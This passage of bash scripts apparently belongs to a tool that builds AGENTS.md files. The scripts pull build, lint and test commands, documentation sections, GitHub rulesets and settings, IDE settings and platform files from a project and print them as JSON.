-r line; do if [[ $line =~ ^([a-zA-Z_-]+):.*\#\#(.*)$ ]]; then target="${BASH_REMATCH[1]}" # description captured but not yet used (for future enhanced output) # description="${BASH_REMATCH[2]}" case "$target" in lint|check) LINT_CMD="make $target" ;; format|fmt) FORMAT_CMD="make $target" ;; test|tests) TEST_CMD="make $target" ;; build) BUILD_CMD="make $target" ;; typecheck|types) TYPECHECK_CMD="make $target" ;; dev|serve) DEV_CMD="make $target" ;; esac fi done < Makefile } # Extract from package.json extract_from_package_json() { [ ! -f "package.json" ] && return 0 # Detect package manager first detect_package_manager local pm_run pm_dlx pm_run=$(get_pm_run) pm_dlx=$(get_pm_dlx) # Set install command based on package manager INSTALL_CMD="$PACKAGE_MANAGER install" local typecheck_key has_lint has_format has_test has_build dev_key typecheck_key=$(package_script_key typecheck "type-check") has_lint=$(jq -r '.scripts.lint // empty' package.json 2>/dev/null) has_format=$(jq -r '.scripts.format // empty' package.json 2>/dev/null) has_test=$(jq -r '.scripts.test // empty' package.json 2>/dev/null) has_build=$(jq -r '.scripts.build // empty' package.json 2>/dev/null) dev_key=$(package_script_key dev start) if [ -n "$typecheck_key" ]; then TYPECHECK_CMD="$pm_run $typecheck_key" else TYPECHECK_CMD="$pm_dlx tsc --noEmit" fi if [ -n "$has_lint" ]; then LINT_CMD="$pm_run lint" else LINT_CMD="$pm_dlx eslint ." fi if [ -n "$has_format" ]; then FORMAT_CMD="$pm_run format" else FORMAT_CMD="$pm_dlx prettier --write ." fi if [ -n "$has_test" ]; then TEST_CMD="$PACKAGE_MANAGER test" # Single file test command if grep -q 'vitest' package.json 2>/dev/null; then TEST_SINGLE_CMD="$pm_dlx vitest run" elif grep -q 'jest' package.json 2>/dev/null; then TEST_SINGLE_CMD="$pm_dlx jest" else TEST_SINGLE_CMD="$PACKAGE_MANAGER test --" fi fi if [ -n "$has_build" ]; then BUILD_CMD="$pm_run build" fi if [ -n "$dev_key" ]; then DEV_CMD="$pm_run $dev_key" fi } # Print the first script key that the given manifest actually defines, or # nothing. Callers emit `<runner> <key>`, so the key has to be the one that # exists — accepting `cs:fix` as evidence and then printing `format` writes a # command the project does not have. manifest_script_key() { local manifest="$1" shift local key for key in "$@"; do if jq -e --arg k "$key" '.scripts[$k] // empty' "$manifest" >/dev/null 2>&1; then printf '%s' "$key" return 0 fi done return 0 } composer_script_key() { manifest_script_key composer.json "$@"; } package_script_key() { manifest_script_key package.json "$@"; } # Extract from composer.json extract_from_composer_json() { [ ! -f "composer.json" ] && return 0 local lint_key format_key test_key phpstan_key # Emit the script that EXISTS, not the first name we looked for. Accepting # `cs:fix` as evidence and then printing `composer run format` produces a # command the project does not define, and AGENTS.md presents it as fact. lint_key=$(composer_script_key lint "cs:check") format_key=$(composer_script_key format "cs:fix") test_key=$(composer_script_key test) phpstan_key=$(composer_script_key phpstan stan) if [ -n "$lint_key" ]; then LINT_CMD="composer run $lint_key" fi if [ -n "$format_key" ]; then FORMAT_CMD="composer run $format_key" fi if [ -n "$test_key" ]; then TEST_CMD="composer run $test_key" else TEST_CMD="vendor/bin/phpunit" fi if [ -n "$phpstan_key" ]; then TYPECHECK_CMD="composer run $phpstan_key" elif [ -f "phpstan.neon" ] || [ -f "Build/phpstan.neon" ]; then TYPECHECK_CMD="vendor/bin/phpstan analyze" fi } # Extract from pyproject.toml extract_from_pyproject() { [ ! -f "pyproject.toml" ] && return 0 # Check for ruff if grep -q '\[tool.ruff\]' pyproject.toml; then LINT_CMD="ruff check ." FORMAT_CMD="ruff format ." fi # Check for black if grep -q 'black' pyproject.toml; then FORMAT_CMD="black ." fi # Check for mypy if grep -q 'mypy' pyproject.toml; then TYPECHECK_CMD="mypy ." fi # Check for pytest if grep -q 'pytest' pyproject.toml; then TEST_CMD="pytest" fi } # Language-specific defaults set_language_defaults() { case "$LANGUAGE" in "go") : "${INSTALL_CMD:=go mod download}" : "${TYPECHECK_CMD:=go build -v ./...}" if [ -z "$LINT_CMD" ]; then if [ -f ".golangci.yml" ] || [ -f ".golangci.yaml" ]; then LINT_CMD="golangci-lint run ./..." fi fi : "${FORMAT_CMD:=gofmt -w .}" : "${TEST_CMD:=go test -v -race -short ./...}" : "${TEST_SINGLE_CMD:=go test -v -race}" : "${BUILD_CMD:=go build -v ./...}" ;; "php") : "${INSTALL_CMD:=composer install}" if [ -z "$TYPECHECK_CMD" ]; then if [ -f "phpstan.neon" ] || [ -f "Build/phpstan.neon" ]; then TYPECHECK_CMD="vendor/bin/phpstan analyze" fi fi : "${LINT_CMD:=vendor/bin/php-cs-fixer fix --dry-run}" : "${FORMAT_CMD:=vendor/bin/php-cs-fixer fix}" : "${TEST_CMD:=vendor/bin/phpunit}" : "${TEST_SINGLE_CMD:=vendor/bin/phpunit}" ;; "typescript") local pm_dlx pm_dlx=$(get_pm_dlx) : "${INSTALL_CMD:=$PACKAGE_MANAGER install}" : "${TYPECHECK_CMD:=$pm_dlx tsc --noEmit}" : "${LINT_CMD:=$pm_dlx eslint .}" : "${FORMAT_CMD:=$pm_dlx prettier --write .}" if [ -z "$TEST_CMD" ]; then if [ -f "jest.config.js" ] || [ -f "jest.config.ts" ]; then TEST_CMD="$PACKAGE_MANAGER test" TEST_SINGLE_CMD="$pm_dlx jest" elif grep -q 'vitest' package.json 2>/dev/null; then TEST_CMD="$pm_dlx vitest run" TEST_SINGLE_CMD="$pm_dlx vitest run" fi fi ;; "python") if [ -f "pyproject.toml" ]; then if grep -q '\[tool.poetry\]' pyproject.toml 2>/dev/null; then INSTALL_CMD="poetry install" elif grep -q '\[tool.uv\]' pyproject.toml 2>/dev/null; then INSTALL_CMD="uv sync" else INSTALL_CMD="pip install -e ." fi else INSTALL_CMD="pip install -r requirements.txt" fi : "${LINT_CMD:=ruff check .}" : "${FORMAT_CMD:=ruff format .}" : "${TYPECHECK_CMD:=mypy .}" : "${TEST_CMD:=pytest}" : "${TEST_SINGLE_CMD:=pytest}" ;; esac } # Run extraction (stack-filtered) extract_from_makefile # Always extract Makefile (cross-stack) should_extract_node && extract_from_package_json should_extract_php && extract_from_composer_json should_extract_python && extract_from_pyproject # Only set language defaults if matching stack or auto case "$STACK_FILTER" in "auto") set_language_defaults ;; "node") [[ "$LANGUAGE" == "typescript" || "$LANGUAGE" == "javascript" ]] && set_language_defaults ;; "php") [[ "$LANGUAGE" == "php" ]] && set_language_defaults ;; "go") [[ "$LANGUAGE" == "go" ]] && set_language_defaults ;; "python") [[ "$LANGUAGE" == "python" ]] && set_language_defaults ;; *) echo "ERROR: Invalid STACK_FILTER value: $STACK_FILTER" >&2 echo "Valid options: auto, node, php, go, python" >&2 exit 1 ;; esac # Output JSON jq -n \ --arg install "$INSTALL_CMD" \ --arg typecheck "$TYPECHECK_CMD" \ --arg lint "$LINT_CMD" \ --arg format "$FORMAT_CMD" \ --arg test "$TEST_CMD" \ --arg test_single "$TEST_SINGLE_CMD" \ --arg build "$BUILD_CMD" \ --arg dev "$DEV_CMD" \ --arg package_manager "$PACKAGE_MANAGER" \ '{ install: $install, typecheck: $typecheck, lint: $lint, format: $format, test: $test, test_single: $test_single, build: $build, dev: $dev, package_manager: $package_manager }' -
extract-documentation.sh 7.7 KB
#!/usr/bin/env bash # Extract information from documentation files (README, CONTRIBUTING, SECURITY, etc.) set -euo pipefail PROJECT_DIR="${1:-.}" cd "$PROJECT_DIR" # Initialize outputs PROJECT_DESCRIPTION="" ARCHITECTURE_SECTION="" PR_PROCESS="" SECURITY_POLICY="" VULNERABILITY_REPORTING="" CHANGELOG_FORMAT="" # Helper to extract section from markdown # Usage: extract_section "file" "heading" [max_lines] extract_section() { local file="$1" local heading="$2" local max_lines="${3:-20}" if [ ! -f "$file" ]; then echo "" return fi # Find section and extract content until next heading awk -v heading="$heading" -v max="$max_lines" ' BEGIN { found=0; count=0 } /^##?#?[[:space:]]/ { if (found) exit if (tolower($0) ~ tolower(heading)) { found=1; next } } found && count < max { print; count++ } ' "$file" } # Extract first paragraph after title (project description) extract_description() { local file="$1" if [ ! -f "$file" ]; then echo "" return fi # Skip title and badges, get first paragraph awk ' BEGIN { started=0; in_para=0 } /^#[^#]/ { started=1; next } started && /^\[!\[/ { next } # Skip badges started && /^[![]/ { next } # Skip images started && /^>/ { next } # Skip blockquotes initially started && !in_para && /^[A-Za-z]/ { in_para=1 } in_para && /^$/ { exit } in_para { print } ' "$file" | head -5 } # Extract badges from README extract_badges() { local file="$1" local badges=() if [ ! -f "$file" ]; then echo "[]" return fi # Find badge patterns: [](link) or  while IFS= read -r line; do if [[ "$line" =~ \[!\[([^\]]+)\] ]]; then badges+=("${BASH_REMATCH[1]}") elif [[ "$line" =~ !\[([^\]]+)\] ]]; then badges+=("${BASH_REMATCH[1]}") fi done < <(grep -E '^\[?!\[' "$file" 2>/dev/null || true) if [ ${#badges[@]} -eq 0 ]; then echo "[]" else printf '%s\n' "${badges[@]}" | jq -R . | jq -s . fi } # Extract key rules from CONTRIBUTING.md extract_contributing_rules() { local file="$1" local rules=() if [ ! -f "$file" ]; then echo "[]" return fi # Extract bullet points from key sections while IFS= read -r line; do # Clean up the line line=$(echo "$line" | sed 's/^[[:space:]]*[-*][[:space:]]*//' | sed 's/[[:space:]]*$//') if [ -n "$line" ] && [ ${#line} -gt 10 ] && [ ${#line} -lt 200 ]; then rules+=("$line") fi done < <(grep -E '^[[:space:]]*[-*][[:space:]]' "$file" 2>/dev/null | head -20 || true) if [ ${#rules[@]} -eq 0 ]; then echo "[]" else printf '%s\n' "${rules[@]}" | jq -R . | jq -s . fi } # Check for PR process documentation extract_pr_process() { local file="$1" if [ ! -f "$file" ]; then echo "" return fi # Look for PR-related sections local section section=$(extract_section "$file" "pull request" 15) if [ -z "$section" ]; then section=$(extract_section "$file" "submitting" 15) fi if [ -z "$section" ]; then section=$(extract_section "$file" "how to contribute" 15) fi echo "$section" | head -10 } # Extract security policy extract_security_policy() { local file="$1" if [ ! -f "$file" ]; then echo "" return fi # Get main content awk ' BEGIN { started=0 } /^#/ { started=1; next } started { print } ' "$file" | head -20 } # Detect changelog format detect_changelog_format() { local file="$1" if [ ! -f "$file" ]; then echo "none" return fi # Check for Keep a Changelog format if grep -qi "keep a changelog" "$file" 2>/dev/null; then echo "keepachangelog" return fi # Check for conventional changelog if grep -qE '^\s*###?\s*(Added|Changed|Deprecated|Removed|Fixed|Security)' "$file" 2>/dev/null; then echo "keepachangelog" return fi # Check for date-based entries if grep -qE '^\s*##\s*\[?[0-9]+\.[0-9]+' "$file" 2>/dev/null; then echo "semver-sections" return fi # Check for simple list format if grep -qE '^[-*]\s+' "$file" 2>/dev/null; then echo "simple-list" return fi echo "custom" } # Main extraction # README.md if [ -f "README.md" ]; then PROJECT_DESCRIPTION=$(extract_description "README.md") BADGES_JSON=$(extract_badges "README.md") ARCHITECTURE_SECTION=$(extract_section "README.md" "architecture" 30) if [ -z "$ARCHITECTURE_SECTION" ]; then ARCHITECTURE_SECTION=$(extract_section "README.md" "structure" 30) fi fi # CONTRIBUTING.md (check multiple locations) CONTRIBUTING_FILE="" for f in CONTRIBUTING.md .github/CONTRIBUTING.md docs/CONTRIBUTING.md; do if [ -f "$f" ]; then CONTRIBUTING_FILE="$f" break fi done if [ -n "$CONTRIBUTING_FILE" ]; then CONTRIBUTING_RULES_JSON=$(extract_contributing_rules "$CONTRIBUTING_FILE") PR_PROCESS=$(extract_pr_process "$CONTRIBUTING_FILE") CODE_STYLE_SECTION=$(extract_section "$CONTRIBUTING_FILE" "code style" 20) if [ -z "$CODE_STYLE_SECTION" ]; then CODE_STYLE_SECTION=$(extract_section "$CONTRIBUTING_FILE" "style guide" 20) fi else CONTRIBUTING_RULES_JSON="[]" CODE_STYLE_SECTION="" fi # SECURITY.md (check multiple locations) SECURITY_FILE="" for f in SECURITY.md .github/SECURITY.md docs/SECURITY.md; do if [ -f "$f" ]; then SECURITY_FILE="$f" break fi done if [ -n "$SECURITY_FILE" ]; then SECURITY_POLICY=$(extract_security_policy "$SECURITY_FILE") VULNERABILITY_REPORTING=$(extract_section "$SECURITY_FILE" "reporting" 15) else SECURITY_POLICY="" VULNERABILITY_REPORTING="" fi # CHANGELOG.md CHANGELOG_FILE="" for f in CHANGELOG.md HISTORY.md CHANGES.md; do if [ -f "$f" ]; then CHANGELOG_FILE="$f" break fi done if [ -n "$CHANGELOG_FILE" ]; then CHANGELOG_FORMAT=$(detect_changelog_format "$CHANGELOG_FILE") else CHANGELOG_FORMAT="none" fi # CODE_OF_CONDUCT.md COC_FILE="" for f in CODE_OF_CONDUCT.md .github/CODE_OF_CONDUCT.md; do if [ -f "$f" ]; then COC_FILE="$f" break fi done HAS_CODE_OF_CONDUCT=false if [ -n "$COC_FILE" ]; then HAS_CODE_OF_CONDUCT=true fi # Build JSON output jq -n \ --arg desc "$PROJECT_DESCRIPTION" \ --argjson badges "${BADGES_JSON:-[]}" \ --arg arch "$ARCHITECTURE_SECTION" \ --arg contributing_file "$CONTRIBUTING_FILE" \ --argjson contributing_rules "${CONTRIBUTING_RULES_JSON:-[]}" \ --arg pr_process "$PR_PROCESS" \ --arg code_style "$CODE_STYLE_SECTION" \ --arg security_file "$SECURITY_FILE" \ --arg security_policy "$SECURITY_POLICY" \ --arg vuln_reporting "$VULNERABILITY_REPORTING" \ --arg changelog_file "$CHANGELOG_FILE" \ --arg changelog_format "$CHANGELOG_FORMAT" \ --argjson has_coc "$HAS_CODE_OF_CONDUCT" \ --arg coc_file "$COC_FILE" \ '{ readme: { description: $desc, badges: $badges, architecture_section: $arch }, contributing: { file: $contributing_file, rules: $contributing_rules, pr_process: $pr_process, code_style: $code_style }, security: { file: $security_file, policy: $security_policy, vulnerability_reporting: $vuln_reporting }, changelog: { file: $changelog_file, format: $changelog_format }, code_of_conduct: { exists: $has_coc, file: $coc_file } }' -
extract-github-rulesets.sh 3.5 KB
#!/usr/bin/env bash # Extract GitHub repository rulesets (newer API, not just branch protection) # Returns JSON with ruleset details for AGENTS.md generation # Falls back gracefully if unavailable (no auth, not GitHub, no rulesets) set -euo pipefail PROJECT_DIR="${1:-.}" cd "$PROJECT_DIR" # Silent exit with empty JSON if prerequisites not met bail() { jq -n '{rulesets: [], merge_queue: false, required_checks: [], signed_commits: false}' exit 0 } # Check gh CLI available command -v gh &>/dev/null || bail # Check authenticated gh auth status &>/dev/null 2>&1 || bail # Check this is a git repo with a remote REMOTE_URL=$(git remote get-url origin 2>/dev/null) || bail # Check it's a GitHub repo [[ "$REMOTE_URL" =~ github\.com ]] || bail # Extract owner/repo from URL (handles both HTTPS and SSH) OWNER_REPO=$(echo "$REMOTE_URL" | sed -E 's|.*github\.com[:/]([^/]+/[^/.]+)(\.git)?.*|\1|') [[ -n "$OWNER_REPO" ]] || bail # Fetch rulesets — may fail if no permission or no rulesets RULESETS_RAW=$(gh api "repos/$OWNER_REPO/rulesets" 2>/dev/null) || bail # Check if response is a valid array echo "$RULESETS_RAW" | jq -e 'type == "array"' &>/dev/null || bail RULESET_COUNT=$(echo "$RULESETS_RAW" | jq 'length') if [ "$RULESET_COUNT" -eq 0 ]; then bail fi # Track aggregate settings HAS_MERGE_QUEUE=false HAS_SIGNED_COMMITS=false ALL_REQUIRED_CHECKS="[]" RULESETS_JSON="[]" for i in $(seq 0 $((RULESET_COUNT - 1))); do RULESET_ID=$(echo "$RULESETS_RAW" | jq -r ".[$i].id") RULESET_NAME=$(echo "$RULESETS_RAW" | jq -r ".[$i].name // \"unnamed\"") RULESET_TARGET=$(echo "$RULESETS_RAW" | jq -r ".[$i].target // \"branch\"") RULESET_ENFORCEMENT=$(echo "$RULESETS_RAW" | jq -r ".[$i].enforcement // \"disabled\"") # Skip disabled rulesets [ "$RULESET_ENFORCEMENT" = "disabled" ] && continue # Fetch detailed ruleset info (includes rules array) DETAIL=$(gh api "repos/$OWNER_REPO/rulesets/$RULESET_ID" 2>/dev/null) || continue # Extract rule types from the rules array RULE_TYPES=$(echo "$DETAIL" | jq -r '[.rules[]?.type // empty] | unique' 2>/dev/null) || RULE_TYPES="[]" # Check for specific rule types if echo "$RULE_TYPES" | jq -e 'index("merge_queue")' &>/dev/null; then HAS_MERGE_QUEUE=true fi if echo "$RULE_TYPES" | jq -e 'index("required_signatures")' &>/dev/null; then HAS_SIGNED_COMMITS=true fi # Extract required status checks STATUS_CHECKS=$(echo "$DETAIL" | jq -r ' [.rules[]? | select(.type == "required_status_checks") | .parameters.required_status_checks[]?.context // empty] | unique' 2>/dev/null) || STATUS_CHECKS="[]" if [ "$STATUS_CHECKS" != "[]" ] && [ "$STATUS_CHECKS" != "null" ]; then ALL_REQUIRED_CHECKS=$(echo "$ALL_REQUIRED_CHECKS" "$STATUS_CHECKS" | jq -s 'add | unique') fi # Add to rulesets array RULESETS_JSON=$(echo "$RULESETS_JSON" | jq \ --arg name "$RULESET_NAME" \ --arg target "$RULESET_TARGET" \ --arg enforcement "$RULESET_ENFORCEMENT" \ --argjson rules "$RULE_TYPES" \ '. + [{name: $name, target: $target, enforcement: $enforcement, rules: $rules}]') done # Output final JSON jq -n \ --argjson rulesets "$RULESETS_JSON" \ --argjson merge_queue "$HAS_MERGE_QUEUE" \ --argjson required_checks "$ALL_REQUIRED_CHECKS" \ --argjson signed_commits "$HAS_SIGNED_COMMITS" \ '{rulesets: $rulesets, merge_queue: $merge_queue, required_checks: $required_checks, signed_commits: $signed_commits}' -
extract-github-settings.sh 3.3 KB
#!/usr/bin/env bash # Extract GitHub repository settings via gh CLI # Returns {} silently if gh unavailable, not authenticated, or not a GitHub repo set -euo pipefail PROJECT_DIR="${1:-.}" cd "$PROJECT_DIR" # Silent exit with empty JSON if prerequisites not met bail() { echo "{}"; exit 0; } # Check gh CLI available command -v gh &>/dev/null || bail # Check authenticated gh auth status &>/dev/null 2>&1 || bail # Check this is a git repo with a remote REMOTE_URL=$(git remote get-url origin 2>/dev/null) || bail # Check it's a GitHub repo [[ "$REMOTE_URL" =~ github\.com ]] || bail # Extract owner/repo from URL (handles both HTTPS and SSH) OWNER_REPO=$(echo "$REMOTE_URL" | sed -E 's|.*github\.com[:/]([^/]+/[^/.]+)(\.git)?.*|\1|') [[ -n "$OWNER_REPO" ]] || bail # Fetch repo settings REPO_INFO=$(gh api "repos/$OWNER_REPO" 2>/dev/null) || bail # Extract merge strategies ALLOW_SQUASH=$(echo "$REPO_INFO" | jq -r '.allow_squash_merge // false') ALLOW_MERGE=$(echo "$REPO_INFO" | jq -r '.allow_merge_commit // false') ALLOW_REBASE=$(echo "$REPO_INFO" | jq -r '.allow_rebase_merge // false') DEFAULT_BRANCH=$(echo "$REPO_INFO" | jq -r '.default_branch // "main"') DELETE_BRANCH=$(echo "$REPO_INFO" | jq -r '.delete_branch_on_merge // false') # Build merge strategies array STRATEGIES="[]" [ "$ALLOW_SQUASH" = "true" ] && STRATEGIES=$(echo "$STRATEGIES" | jq '. + ["squash"]') [ "$ALLOW_MERGE" = "true" ] && STRATEGIES=$(echo "$STRATEGIES" | jq '. + ["merge"]') [ "$ALLOW_REBASE" = "true" ] && STRATEGIES=$(echo "$STRATEGIES" | jq '. + ["rebase"]') # Fetch branch protection (may fail if not configured or no access) # Note: gh api returns error JSON to stdout on 404, so we check for error message PROTECTION=$(gh api "repos/$OWNER_REPO/branches/$DEFAULT_BRANCH/protection" 2>/dev/null || true) if echo "$PROTECTION" | jq -e '.message' &>/dev/null; then # API returned an error (e.g., "Branch not protected") PROTECTION="{}" fi # Extract protection settings REQUIRED_APPROVALS=0 REQUIRED_CHECKS="[]" REQUIRE_UP_TO_DATE=false DISMISS_STALE=false if [ "$PROTECTION" != "{}" ]; then # Required approving reviews REQUIRED_APPROVALS=$(echo "$PROTECTION" | jq -r '.required_pull_request_reviews.required_approving_review_count // 0') DISMISS_STALE=$(echo "$PROTECTION" | jq -r '.required_pull_request_reviews.dismiss_stale_reviews // false') # Required status checks REQUIRED_CHECKS=$(echo "$PROTECTION" | jq -r '.required_status_checks.contexts // []') # Require up-to-date branch REQUIRE_UP_TO_DATE=$(echo "$PROTECTION" | jq -r '.required_status_checks.strict // false') fi # Output JSON jq -n \ --arg default_branch "$DEFAULT_BRANCH" \ --argjson merge_strategies "$STRATEGIES" \ --argjson required_approvals "$REQUIRED_APPROVALS" \ --argjson required_checks "$REQUIRED_CHECKS" \ --argjson require_up_to_date "$REQUIRE_UP_TO_DATE" \ --argjson dismiss_stale "$DISMISS_STALE" \ --argjson delete_branch "$DELETE_BRANCH" \ '{ available: true, default_branch: $default_branch, merge_strategies: $merge_strategies, required_approvals: $required_approvals, required_checks: $required_checks, require_up_to_date: $require_up_to_date, dismiss_stale_reviews: $dismiss_stale, delete_branch_on_merge: $delete_branch }' -
extract-ide-settings.sh 7 KB
#!/usr/bin/env bash # Extract information from IDE and editor configuration files set -euo pipefail PROJECT_DIR="${1:-.}" cd "$PROJECT_DIR" # Parse .editorconfig parse_editorconfig() { local file="$1" if [ ! -f "$file" ]; then echo "{}" return fi local indent_style="" local indent_size="" local tab_width="" local end_of_line="" local charset="" local trim_trailing="" local insert_final="" local max_line_length="" # Parse INI-style format (simplified) while IFS= read -r line; do # Skip comments and section headers [[ "$line" =~ ^[[:space:]]*[#\;] ]] && continue [[ "$line" =~ ^\[.*\] ]] && continue # Parse key=value if [[ "$line" =~ ^([a-z_]+)[[:space:]]*=[[:space:]]*(.+)$ ]]; then key="${BASH_REMATCH[1]}" value="${BASH_REMATCH[2]}" case "$key" in indent_style) indent_style="$value" ;; indent_size) indent_size="$value" ;; tab_width) tab_width="$value" ;; end_of_line) end_of_line="$value" ;; charset) charset="$value" ;; trim_trailing_whitespace) trim_trailing="$value" ;; insert_final_newline) insert_final="$value" ;; max_line_length) max_line_length="$value" ;; esac fi done < "$file" jq -n \ --arg indent_style "$indent_style" \ --arg indent_size "$indent_size" \ --arg tab_width "$tab_width" \ --arg end_of_line "$end_of_line" \ --arg charset "$charset" \ --arg trim_trailing "$trim_trailing" \ --arg insert_final "$insert_final" \ --arg max_line_length "$max_line_length" \ '{ indent_style: $indent_style, indent_size: $indent_size, tab_width: $tab_width, end_of_line: $end_of_line, charset: $charset, trim_trailing_whitespace: $trim_trailing, insert_final_newline: $insert_final, max_line_length: $max_line_length } | with_entries(select(.value != ""))' } # Parse VSCode settings.json parse_vscode_settings() { local file="$1" if [ ! -f "$file" ]; then echo "{}" return fi # Extract key settings (remove comments first) sed 's|//.*||g' "$file" 2>/dev/null | jq '{ formatter: (."editor.defaultFormatter" // null), format_on_save: (."editor.formatOnSave" // null), tab_size: (."editor.tabSize" // null), insert_spaces: (."editor.insertSpaces" // null), eol: (."files.eol" // null), trailing_whitespace: (."files.trimTrailingWhitespace" // null), final_newline: (."files.insertFinalNewline" // null), rulers: (."editor.rulers" // null), python_linting: (."python.linting.enabled" // null), python_formatter: (."python.formatting.provider" // null), typescript_preferences: (."typescript.preferences.quoteStyle" // null), eslint_enable: (."eslint.enable" // null), prettier_enable: (."prettier.enable" // null) } | with_entries(select(.value != null))' 2>/dev/null || echo "{}" } # Parse VSCode extensions.json parse_vscode_extensions() { local file="$1" if [ ! -f "$file" ]; then echo "[]" return fi # Extract recommendations jq '.recommendations // []' "$file" 2>/dev/null || echo "[]" } # Parse VSCode launch.json parse_vscode_launch() { local file="$1" if [ ! -f "$file" ]; then echo "[]" return fi # Extract configuration names and types jq '[.configurations[] | {name: .name, type: .type, request: .request}]' "$file" 2>/dev/null || echo "[]" } # Check for JetBrains IDE settings parse_jetbrains_settings() { local idea_dir="$1" if [ ! -d "$idea_dir" ]; then echo "{}" return fi local code_style_file="" local inspection_profile="" local project_settings=() # Find code style settings if [ -d "$idea_dir/codeStyles" ]; then code_style_file=$(find "$idea_dir/codeStyles" -name "*.xml" -type f 2>/dev/null | head -1) fi # Find inspection profile if [ -d "$idea_dir/inspectionProfiles" ]; then inspection_profile=$(find "$idea_dir/inspectionProfiles" -name "*.xml" -type f 2>/dev/null | head -1) fi # Check for common settings files [ -f "$idea_dir/misc.xml" ] && project_settings+=("misc.xml") [ -f "$idea_dir/modules.xml" ] && project_settings+=("modules.xml") [ -f "$idea_dir/vcs.xml" ] && project_settings+=("vcs.xml") [ -f "$idea_dir/php.xml" ] && project_settings+=("php.xml") [ -f "$idea_dir/jsLibraryMappings.xml" ] && project_settings+=("jsLibraryMappings.xml") local settings_json="[]" if [ ${#project_settings[@]} -gt 0 ]; then settings_json=$(printf '%s\n' "${project_settings[@]}" | jq -R . | jq -s .) fi jq -n \ --arg code_style "$code_style_file" \ --arg inspection "$inspection_profile" \ --argjson settings "$settings_json" \ '{ code_style_file: $code_style, inspection_profile: $inspection, project_settings: $settings } | with_entries(select(.value != "" and .value != []))' } # Detect IDEs present IDES=() [ -f ".editorconfig" ] && IDES+=("editorconfig") [ -d ".vscode" ] && IDES+=("vscode") [ -d ".idea" ] && IDES+=("idea") [ -d ".phpstorm" ] && IDES+=("phpstorm") [ -d ".fleet" ] && IDES+=("fleet") { [ -d ".vim" ] || [ -f ".vimrc" ]; } && IDES+=("vim") { [ -d ".nvim" ] || [ -f ".nvimrc" ]; } && IDES+=("neovim") [ -f ".sublime-project" ] && IDES+=("sublime") # Build IDE list JSON if [ ${#IDES[@]} -eq 0 ]; then IDES_JSON="[]" else IDES_JSON=$(printf '%s\n' "${IDES[@]}" | jq -R . | jq -s .) fi # Extract specific settings EDITORCONFIG_SETTINGS="{}" VSCODE_SETTINGS="{}" VSCODE_EXTENSIONS="[]" VSCODE_LAUNCH="[]" JETBRAINS_SETTINGS="{}" if [ -f ".editorconfig" ]; then EDITORCONFIG_SETTINGS=$(parse_editorconfig ".editorconfig") fi if [ -d ".vscode" ]; then VSCODE_SETTINGS=$(parse_vscode_settings ".vscode/settings.json") VSCODE_EXTENSIONS=$(parse_vscode_extensions ".vscode/extensions.json") VSCODE_LAUNCH=$(parse_vscode_launch ".vscode/launch.json") fi if [ -d ".idea" ]; then JETBRAINS_SETTINGS=$(parse_jetbrains_settings ".idea") elif [ -d ".phpstorm" ]; then JETBRAINS_SETTINGS=$(parse_jetbrains_settings ".phpstorm") fi # Build final JSON output jq -n \ --argjson ides "$IDES_JSON" \ --argjson editorconfig "$EDITORCONFIG_SETTINGS" \ --argjson vscode_settings "$VSCODE_SETTINGS" \ --argjson vscode_extensions "$VSCODE_EXTENSIONS" \ --argjson vscode_launch "$VSCODE_LAUNCH" \ --argjson jetbrains "$JETBRAINS_SETTINGS" \ '{ detected_ides: $ides, editorconfig: $editorconfig, vscode: { settings: $vscode_settings, recommended_extensions: $vscode_extensions, launch_configurations: $vscode_launch }, jetbrains: $jetbrains }' -
extract-platform-files.sh 7.9 KB
#!/usr/bin/env bash # Extract information from platform-specific files (.github/, .gitlab/, etc.) set -euo pipefail PROJECT_DIR="${1:-.}" cd "$PROJECT_DIR" # Helper to extract checklist items from markdown extract_checklist() { local file="$1" local items=() if [ ! -f "$file" ]; then echo "[]" return fi # Find checkbox lines: - [ ] text or - [x] text while IFS= read -r line; do # Extract text after checkbox text=$(echo "$line" | sed -E 's/^[[:space:]]*[-*][[:space:]]*\[[[:space:]x]\][[:space:]]*//') if [ -n "$text" ] && [ ${#text} -gt 3 ]; then items+=("$text") fi done < <(grep -E '^\s*[-*]\s*\[[[:space:]x]\]' "$file" 2>/dev/null || true) if [ ${#items[@]} -eq 0 ]; then echo "[]" else printf '%s\n' "${items[@]}" | jq -R . | jq -s . fi } # Extract required fields from issue templates (YAML front matter) extract_issue_template_fields() { local file="$1" if [ ! -f "$file" ]; then echo "[]" return fi # Check for YAML form-based template if grep -q "^type:" "$file" 2>/dev/null; then # Extract field labels marked as required grep -B2 "required: true" "$file" 2>/dev/null | grep "label:" | sed 's/.*label:[[:space:]]*//' | jq -R . | jq -s . else echo "[]" fi } # Parse CODEOWNERS file parse_codeowners() { local file="$1" local owners=() if [ ! -f "$file" ]; then echo "[]" return fi # Extract pattern and owners (skip comments and empty lines) while IFS= read -r line; do # Skip comments and empty lines [[ "$line" =~ ^[[:space:]]*# ]] && continue [[ -z "${line// }" ]] && continue # Parse pattern and owners pattern=$(echo "$line" | awk '{print $1}') owner=$(echo "$line" | awk '{$1=""; print}' | sed 's/^[[:space:]]*//') if [ -n "$pattern" ] && [ -n "$owner" ]; then owners+=("{\"pattern\": \"$pattern\", \"owners\": \"$owner\"}") fi done < "$file" if [ ${#owners[@]} -eq 0 ]; then echo "[]" else printf '%s\n' "${owners[@]}" | jq -s . fi } # Parse dependabot.yml parse_dependabot() { local file="$1" if [ ! -f "$file" ]; then echo "{}" return fi # Extract package ecosystems and schedules local ecosystems=() local current_eco="" local current_schedule="" while IFS= read -r line; do if [[ "$line" =~ package-ecosystem:[[:space:]]*\"?([^\"]+)\"? ]]; then current_eco="${BASH_REMATCH[1]}" elif [[ "$line" =~ interval:[[:space:]]*\"?([^\"]+)\"? ]]; then current_schedule="${BASH_REMATCH[1]}" if [ -n "$current_eco" ]; then ecosystems+=("{\"ecosystem\": \"$current_eco\", \"schedule\": \"$current_schedule\"}") current_eco="" current_schedule="" fi fi done < "$file" if [ ${#ecosystems[@]} -eq 0 ]; then echo "{\"updates\": []}" else printf '%s\n' "${ecosystems[@]}" | jq -s '{updates: .}' fi } # Parse renovate.json parse_renovate() { local file="$1" if [ ! -f "$file" ]; then echo "{}" return fi # Extract key configuration jq '{ extends: .extends, schedule: .schedule, automerge: .automerge, labels: .labels }' "$file" 2>/dev/null || echo "{}" } # Detect platform type PLATFORM="none" if [ -d ".github" ]; then PLATFORM="github" elif [ -d ".gitlab" ]; then PLATFORM="gitlab" elif [ -d ".bitbucket" ]; then PLATFORM="bitbucket" fi # Initialize result variables PR_TEMPLATE_FILE="" PR_CHECKLIST="[]" ISSUE_TEMPLATES=() 